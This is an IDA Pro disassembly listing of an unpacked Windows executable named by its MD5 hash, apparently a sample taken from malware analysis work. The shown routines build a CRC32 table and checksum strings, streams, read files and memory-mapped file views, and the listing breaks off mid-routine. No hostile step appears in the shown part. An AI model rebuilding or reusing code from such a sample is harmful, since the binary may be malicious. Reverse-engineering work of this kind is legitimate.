;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	B2D4BB8A547AED56B9C0A09F42744937

; File Name   :	u:\work\b2d4bb8a547aed56b9c0a09f42744937_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	420000
; Section 1. (virtual address 00001000)
; Virtual size			: 00015000 (  86016.)
; Section size in file		: 00015000 (  86016.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
HLXc		segment	para public 'CODE' use32
		assume cs:HLXc
		;org 421000h
		assume es:nothing, ss:nothing, ds:HLXc,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421000	proc near		; CODE XREF: sub_424A53+28p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_4332D8
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_421000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421021	proc near		; CODE XREF: sub_4219B0+Ap

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_4332D8
		mov	ecx, [ebp+var_4]
		call	sub_4210DD
		mov	esp, ebp
		pop	ebp
		retn
sub_421021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42103D	proc near		; CODE XREF: sub_424A53+38p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], ecx
		mov	[ebp+var_4], 0EDB88320h
		mov	ecx, [ebp+var_18]
		call	sub_4210DD
		push	400h
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_14]
		mov	[eax+4], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_421080
; ---------------------------------------------------------------------------


loc_421077:				; CODE XREF: sub_42103D+9Aj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_421080:				; CODE XREF: sub_42103D+38j
		cmp	[ebp+var_C], 100h
		jge	short loc_4210D9
		mov	eax, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], 8
		jmp	short loc_4210A1
; ---------------------------------------------------------------------------


loc_421098:				; CODE XREF: sub_42103D:loc_4210C6j
		mov	ecx, [ebp+var_10]
		sub	ecx, 1
		mov	[ebp+var_10], ecx


loc_4210A1:				; CODE XREF: sub_42103D+59j
		cmp	[ebp+var_10], 0
		jle	short loc_4210C8
		mov	edx, [ebp+var_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_4210BE
		mov	eax, [ebp+var_8]
		shr	eax, 1
		xor	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jmp	short loc_4210C6
; ---------------------------------------------------------------------------


loc_4210BE:				; CODE XREF: sub_42103D+72j
		mov	ecx, [ebp+var_8]
		shr	ecx, 1
		mov	[ebp+var_8], ecx


loc_4210C6:				; CODE XREF: sub_42103D+7Fj
		jmp	short loc_421098
; ---------------------------------------------------------------------------


loc_4210C8:				; CODE XREF: sub_42103D+68j
		mov	edx, [ebp+var_18]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	[eax+ecx*4], edx
		jmp	short loc_421077
; ---------------------------------------------------------------------------


loc_4210D9:				; CODE XREF: sub_42103D+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42103D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210DD	proc near		; CODE XREF: sub_421021+13p
					; sub_42103D+13p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+4]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_43161E
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_4210DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421109	proc near		; CODE XREF: HLXc:004216A6p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_421109
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_14], 1
		mov	[ebp+var_4], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_18], 0
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_433024	; GetFileSize
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jnz	short loc_42117B
		call	dword_433028	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_42117B
		mov	[ebp+var_14], 0
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx], 0
		mov	dword ptr [edx+4], 0
		jmp	short loc_42119B
; ---------------------------------------------------------------------------


loc_42117B:				; CODE XREF: sub_421109+50j
					; sub_421109+5Aj
		mov	eax, [ebp+var_18]
		xor	edx, edx
		mov	ecx, 20h
		call	sub_4316B0
		mov	ecx, [ebp+var_1C]
		xor	esi, esi
		or	eax, ecx
		or	edx, esi
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx


loc_42119B:				; CODE XREF: sub_421109+70j
		jmp	short loc_4211A7
; ---------------------------------------------------------------------------


loc_42119D:				; DATA XREF: HLXc:00434BE4o
		mov	[ebp+var_14], 0
		mov	eax, offset loc_4211A7
		retn
; ---------------------------------------------------------------------------


loc_4211A7:				; CODE XREF: sub_421109:loc_42119Bj
					; DATA XREF: sub_421109+98o
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	al, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421109	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset sub_431C1A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-1Ch], ecx
		mov	dword ptr [ebp-14h], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42121C
		mov	dword ptr [ebp-18h], 0
		push	offset dword_434DD0
		lea	edx, [ebp-18h]
		push	edx
		call	sub_4316EC	; _CxxThrowException


loc_42121C:				; CODE XREF: HLXc:00421205j
					; HLXc:00421241j
		mov	eax, [ebp+8]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_421243
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		mov	cl, [eax]
		push	ecx
		mov	ecx, [ebp-1Ch]
		call	sub_4219E0
		mov	edx, [ebp+8]
		add	edx, 1
		mov	[ebp+8], edx
		jmp	short loc_42121C
; ---------------------------------------------------------------------------


loc_421243:				; CODE XREF: HLXc:00421224j
		jmp	short loc_421252
; ---------------------------------------------------------------------------


loc_421245:				; DATA XREF: HLXc:00434C3Co
		mov	dword ptr [ebp-14h], 17h
		mov	eax, offset loc_421252
		retn
; ---------------------------------------------------------------------------


loc_421252:				; CODE XREF: HLXc:loc_421243j
					; DATA XREF: HLXc:0042124Co
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		not	ecx
		mov	edx, [ebp+0Ch]
		mov	[edx], ecx
		mov	eax, [ebp-14h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_431C2E
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 108Ch
		call	sub_431700
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-1084h], ecx
		mov	dword ptr [ebp-14h], 0
		push	1
		lea	ecx, [ebp-70h]
		call	dword_43315C
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-1084h]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4212F7
		mov	dword ptr [ebp-107Ch], 0
		push	offset dword_434DD0
		lea	edx, [ebp-107Ch]
		push	edx
		call	sub_4316EC	; _CxxThrowException


loc_4212F7:				; CODE XREF: HLXc:004212DAj
		mov	eax, dword_433140
		mov	ecx, [eax]
		push	ecx
		push	0A1h
		mov	edx, [ebp+8]
		push	edx
		lea	ecx, [ebp-70h]
		call	dword_433160
		lea	ecx, [ebp-70h]
		call	dword_433144
		mov	[ebp-1088h], eax
		cmp	dword ptr [ebp-1088h], 0
		jnz	short loc_42134D
		mov	eax, [ebp-70h]
		mov	ecx, [eax+4]
		lea	ecx, [ebp+ecx-70h]
		call	dword_433148
		mov	[ebp-108Ch], eax
		mov	edx, [ebp-108Ch]
		mov	[ebp-14h], edx
		jmp	loc_421400
; ---------------------------------------------------------------------------


loc_42134D:				; CODE XREF: HLXc:00421327j
		push	1000h
		lea	eax, [ebp-1078h]
		push	eax
		lea	ecx, [ebp-70h]
		call	dword_43314C
		mov	[ebp-1090h], eax
		mov	ecx, [ebp-1090h]
		call	dword_433150
		mov	[ebp-1094h], eax
		mov	ecx, [ebp-1094h]
		mov	[ebp-78h], ecx


loc_421383:				; CODE XREF: HLXc:004213F5j
		cmp	dword ptr [ebp-78h], 0
		jz	short loc_4213F7
		mov	dword ptr [ebp-74h], 0
		jmp	short loc_42139B
; ---------------------------------------------------------------------------


loc_421392:				; CODE XREF: HLXc:004213BDj
		mov	edx, [ebp-74h]
		add	edx, 1
		mov	[ebp-74h], edx


loc_42139B:				; CODE XREF: HLXc:00421390j
		mov	eax, [ebp-74h]
		cmp	eax, [ebp-78h]
		jge	short loc_4213BF
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp-74h]
		mov	al, [ebp+edx-1078h]
		push	eax
		mov	ecx, [ebp-1084h]
		call	sub_4219E0
		jmp	short loc_421392
; ---------------------------------------------------------------------------


loc_4213BF:				; CODE XREF: HLXc:004213A1j
		push	1000h
		lea	ecx, [ebp-1078h]
		push	ecx
		lea	ecx, [ebp-70h]
		call	dword_43314C
		mov	[ebp-1098h], eax
		mov	ecx, [ebp-1098h]
		call	dword_433150
		mov	[ebp-109Ch], eax
		mov	edx, [ebp-109Ch]
		mov	[ebp-78h], edx
		jmp	short loc_421383
; ---------------------------------------------------------------------------


loc_4213F7:				; CODE XREF: HLXc:00421387j
		lea	ecx, [ebp-70h]
		call	dword_433154


loc_421400:				; CODE XREF: HLXc:00421348j
		jmp	short loc_42140F
; ---------------------------------------------------------------------------


loc_421402:				; DATA XREF: HLXc:00434C9Co
		mov	dword ptr [ebp-14h], 17h
		mov	eax, offset loc_42140F
		retn
; ---------------------------------------------------------------------------


loc_42140F:				; CODE XREF: HLXc:loc_421400j
					; DATA XREF: HLXc:00421409o
		mov	dword ptr [ebp-4], 0
		lea	ecx, [ebp-70h]
		call	dword_433144
		test	eax, eax
		jz	short loc_42142C
		lea	ecx, [ebp-70h]
		call	dword_433154


loc_42142C:				; CODE XREF: HLXc:00421421j
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		not	ecx
		mov	edx, [ebp+0Ch]
		mov	[edx], ecx
		mov	eax, [ebp-14h]
		mov	[ebp-1080h], eax
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-70h]
		call	dword_433158
		mov	eax, [ebp-1080h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42146A	proc near		; CODE XREF: sub_424A53+46p

var_102C	= dword	ptr -102Ch
var_1028	= dword	ptr -1028h
var_1024	= dword	ptr -1024h
var_1020	= byte ptr -1020h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42146A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 101Ch
		call	sub_431700
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_102C],	ecx
		mov	[ebp+var_18], 0
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_102C]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4214DE
		mov	[ebp+var_1028],	0
		push	offset dword_434DD0
		lea	edx, [ebp+var_1028]
		push	edx
		call	sub_4316EC	; _CxxThrowException


loc_4214DE:				; CODE XREF: sub_42146A+57j
		push	0
		push	8000027h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_421511
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp+var_18], eax
		jmp	loc_42159F
; ---------------------------------------------------------------------------


loc_421511:				; CODE XREF: sub_42146A+97j
		push	0
		lea	ecx, [ebp+var_1024]
		push	ecx
		push	1000h
		lea	edx, [ebp+var_1020]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		call	dword_43301C	; ReadFile
		mov	[ebp+var_20], eax


loc_421533:				; CODE XREF: sub_42146A+133j
		cmp	[ebp+var_20], 0
		jz	short loc_42159F
		cmp	[ebp+var_1024],	0
		jz	short loc_42159F
		mov	[ebp+var_1C], 0
		jmp	short loc_421554
; ---------------------------------------------------------------------------


loc_42154B:				; CODE XREF: sub_42146A+10Fj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_421554:				; CODE XREF: sub_42146A+DFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+var_1024]
		jnb	short loc_42157B
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	dl, [ebp+ecx+var_1020]
		push	edx
		mov	ecx, [ebp+var_102C]
		call	sub_4219E0
		jmp	short loc_42154B
; ---------------------------------------------------------------------------


loc_42157B:				; CODE XREF: sub_42146A+F3j
		push	0
		lea	eax, [ebp+var_1024]
		push	eax
		push	1000h
		lea	ecx, [ebp+var_1020]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	dword_43301C	; ReadFile
		mov	[ebp+var_20], eax
		jmp	short loc_421533
; ---------------------------------------------------------------------------


loc_42159F:				; CODE XREF: sub_42146A+A2j
					; sub_42146A+CDj ...
		jmp	short loc_4215AE
; ---------------------------------------------------------------------------


loc_4215A1:				; DATA XREF: HLXc:00434CF4o
		mov	[ebp+var_18], 17h
		mov	eax, offset loc_4215AE
		retn
; ---------------------------------------------------------------------------


loc_4215AE:				; CODE XREF: sub_42146A:loc_42159Fj
					; DATA XREF: sub_42146A+13Eo
		mov	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_14], 0
		jz	short loc_4215C5
		mov	eax, [ebp+var_14]
		push	eax
		call	dword_433020	; CloseHandle


loc_4215C5:				; CODE XREF: sub_42146A+14Fj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		not	edx
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		mov	eax, [ebp+var_18]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_42146A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset sub_431C42
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-44h], ecx
		mov	dword ptr [ebp-1Ch], 0
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-14h], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-44h]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_42164F
		mov	dword ptr [ebp-40h], 0
		push	offset dword_434DD0
		lea	edx, [ebp-40h]
		push	edx
		call	sub_4316EC	; _CxxThrowException


loc_42164F:				; CODE XREF: HLXc:00421638j
		push	0
		push	8000027h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp-18h], eax
		cmp	dword ptr [ebp-18h], 0FFFFFFFFh
		jnz	short loc_421682
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp-1Ch], eax
		jmp	loc_4217D5
; ---------------------------------------------------------------------------


loc_421682:				; CODE XREF: HLXc:00421672j
		mov	dword ptr [ebp-2Ch], 0
		mov	dword ptr [ebp-28h], 0
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-20h], 0
		lea	ecx, [ebp-2Ch]
		push	ecx
		mov	edx, [ebp-18h]
		push	edx
		call	sub_421109
		add	esp, 8
		mov	[ebp-48h], al
		mov	eax, [ebp-48h]
		and	eax, 0FFh
		test	eax, eax
		jnz	short loc_4216C9
		mov	dword ptr [ebp-1Ch], 18h
		jmp	loc_4217D5
; ---------------------------------------------------------------------------


loc_4216C9:				; CODE XREF: HLXc:004216BBj
		mov	ecx, [ebp-2Ch]
		or	ecx, [ebp-28h]
		test	ecx, ecx
		jz	loc_4217D5
		push	0
		push	0
		push	0
		push	2
		push	0
		mov	edx, [ebp-18h]
		push	edx
		call	dword_433074	; CreateFileMappingA
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0
		jnz	short loc_421702
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp-1Ch], eax
		jmp	loc_4217D5
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: HLXc:004216F2j
					; HLXc:004217D0j
		cmp	dword ptr [ebp-28h], 0
		jl	loc_4217D5
		jg	short loc_421718
		cmp	dword ptr [ebp-2Ch], 0
		jbe	loc_4217D5


loc_421718:				; CODE XREF: HLXc:0042170Cj
		cmp	dword ptr [ebp-28h], 0
		jg	short loc_421731
		jl	short loc_421729
		cmp	dword ptr [ebp-2Ch], 0A00000h
		jnb	short loc_421731


loc_421729:				; CODE XREF: HLXc:0042171Ej
		mov	eax, [ebp-2Ch]
		mov	[ebp-38h], eax
		jmp	short loc_421738
; ---------------------------------------------------------------------------


loc_421731:				; CODE XREF: HLXc:0042171Cj
					; HLXc:00421727j
		mov	dword ptr [ebp-38h], 0A00000h


loc_421738:				; CODE XREF: HLXc:0042172Fj
		mov	ecx, [ebp-38h]
		push	ecx
		mov	edx, [ebp-24h]
		push	edx
		mov	ecx, 20h
		mov	eax, [ebp-24h]
		mov	edx, [ebp-20h]
		call	sub_431730
		and	edx, 0
		push	eax
		push	4
		mov	eax, [ebp-14h]
		push	eax
		call	dword_433070	; MapViewOfFile
		mov	[ebp-34h], eax
		mov	ecx, [ebp-38h]
		mov	[ebp-30h], ecx
		mov	edx, [ebp-34h]
		mov	[ebp-3Ch], edx


loc_42176F:				; CODE XREF: HLXc:0042179Aj
		mov	eax, [ebp-30h]
		mov	ecx, [ebp-30h]
		sub	ecx, 1
		mov	[ebp-30h], ecx
		test	eax, eax
		jbe	short loc_42179C
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp-3Ch]
		mov	cl, [eax]
		push	ecx
		mov	ecx, [ebp-44h]
		call	sub_4219E0
		mov	edx, [ebp-3Ch]
		add	edx, 1
		mov	[ebp-3Ch], edx
		jmp	short loc_42176F
; ---------------------------------------------------------------------------


loc_42179C:				; CODE XREF: HLXc:0042177Dj
		mov	eax, [ebp-34h]
		push	eax
		call	dword_433044	; UnmapViewOfFile
		mov	ecx, [ebp-38h]
		xor	edx, edx
		mov	eax, [ebp-24h]
		add	eax, ecx
		mov	ecx, [ebp-20h]
		adc	ecx, edx
		mov	[ebp-24h], eax
		mov	[ebp-20h], ecx
		mov	edx, [ebp-38h]
		xor	eax, eax
		mov	ecx, [ebp-2Ch]
		sub	ecx, edx
		mov	edx, [ebp-28h]
		sbb	edx, eax
		mov	[ebp-2Ch], ecx
		mov	[ebp-28h], edx
		jmp	loc_421702
; ---------------------------------------------------------------------------


loc_4217D5:				; CODE XREF: HLXc:0042167Dj
					; HLXc:004216C4j ...
		jmp	short loc_4217E4
; ---------------------------------------------------------------------------


loc_4217D7:				; DATA XREF: HLXc:00434D4Co
		mov	dword ptr [ebp-1Ch], 17h
		mov	eax, offset loc_4217E4
		retn
; ---------------------------------------------------------------------------


loc_4217E4:				; CODE XREF: HLXc:loc_4217D5j
					; DATA XREF: HLXc:004217DEo
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_4217FB
		mov	eax, [ebp-18h]
		push	eax
		call	dword_433020	; CloseHandle


loc_4217FB:				; CODE XREF: HLXc:004217EFj
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_42180B
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_433020	; CloseHandle


loc_42180B:				; CODE XREF: HLXc:004217FFj
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		not	eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		mov	eax, [ebp-1Ch]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset sub_431C4C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 1018h
		call	sub_431700
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		mov	[ebp-1028h], ecx
		mov	dword ptr [ebp-18h], 0
		mov	dword ptr [ebp-14h], 0
		mov	eax, [ebp+0Ch]
		mov	dword ptr [eax], 0FFFFFFFFh
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-1028h]
		cmp	dword ptr [ecx+4], 0
		jnz	short loc_4218A1
		mov	dword ptr [ebp-1024h], 0
		push	offset dword_434DD0
		lea	edx, [ebp-1024h]
		push	edx
		call	sub_4316EC	; _CxxThrowException


loc_4218A1:				; CODE XREF: HLXc:00421884j
		push	0
		push	8000027h
		push	3
		push	0
		push	1
		push	80000000h
		mov	eax, [ebp+8]
		push	eax
		call	dword_433018	; CreateFileA
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-14h], 0FFFFFFFFh
		jnz	short loc_4218D4
		call	dword_433028	; RtlGetLastWin32Error
		mov	[ebp-18h], eax
		jmp	loc_421964
; ---------------------------------------------------------------------------


loc_4218D4:				; CODE XREF: HLXc:004218C4j
		push	0
		lea	ecx, [ebp-1020h]
		push	ecx
		push	1000h
		lea	edx, [ebp-101Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	dword_43301C	; ReadFile
		mov	[ebp-1Ch], eax


loc_4218F6:				; CODE XREF: HLXc:00421962j
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_421964
		cmp	dword ptr [ebp-1020h], 0
		jz	short loc_421964
		push	esi
		push	edi
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax]
		mov	ebx, [ebp-1028h]
		mov	edi, [ebx+4]
		lea	esi, [ebp-101Ch]
		mov	ebx, [ebp-1020h]
		lea	edx, [esi+ebx]


loc_421924:				; CODE XREF: HLXc:00421937j
		xor	eax, eax
		mov	bl, [esi]
		mov	al, cl
		inc	esi
		xor	al, bl
		shr	ecx, 8
		mov	ebx, [edi+eax*4]
		xor	ecx, ebx
		cmp	edx, esi
		jnz	short loc_421924
		pop	edi
		pop	esi
		mov	eax, [ebp+0Ch]
		mov	[eax], ecx
		push	0
		lea	ecx, [ebp-1020h]
		push	ecx
		push	1000h
		lea	edx, [ebp-101Ch]
		push	edx
		mov	eax, [ebp-14h]
		push	eax
		call	dword_43301C	; ReadFile
		mov	[ebp-1Ch], eax
		jmp	short loc_4218F6
; ---------------------------------------------------------------------------


loc_421964:				; CODE XREF: HLXc:004218CFj
					; HLXc:004218FAj ...
		jmp	short loc_421973
; ---------------------------------------------------------------------------


loc_421966:				; DATA XREF: HLXc:00434DA4o
		mov	dword ptr [ebp-18h], 17h
		mov	eax, offset loc_421973
		retn
; ---------------------------------------------------------------------------


loc_421973:				; CODE XREF: HLXc:loc_421964j
					; DATA XREF: HLXc:0042196Do
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_42198A
		mov	ecx, [ebp-14h]
		push	ecx
		call	dword_433020	; CloseHandle


loc_42198A:				; CODE XREF: HLXc:0042197Ej
		mov	edx, [ebp+0Ch]
		mov	eax, [edx]
		not	eax
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219B0	proc near		; DATA XREF: HLXc:off_4332D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_421021
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_4219D5
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_43161E
		add	esp, 4


loc_4219D5:				; CODE XREF: sub_4219B0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4219B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219E0	proc near		; CODE XREF: HLXc:00421233p
					; HLXc:004213B8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		shr	ecx, 8
		mov	edx, [ebp+arg_0]
		and	edx, 0FFh
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		and	eax, 0FFh
		xor	edx, eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		xor	ecx, [eax+edx*4]
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_4219E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421A20	proc near		; CODE XREF: sub_425D38+D0p
					; sub_425D38+15Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], 0


loc_421A30:				; CODE XREF: sub_421A20+3Cj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
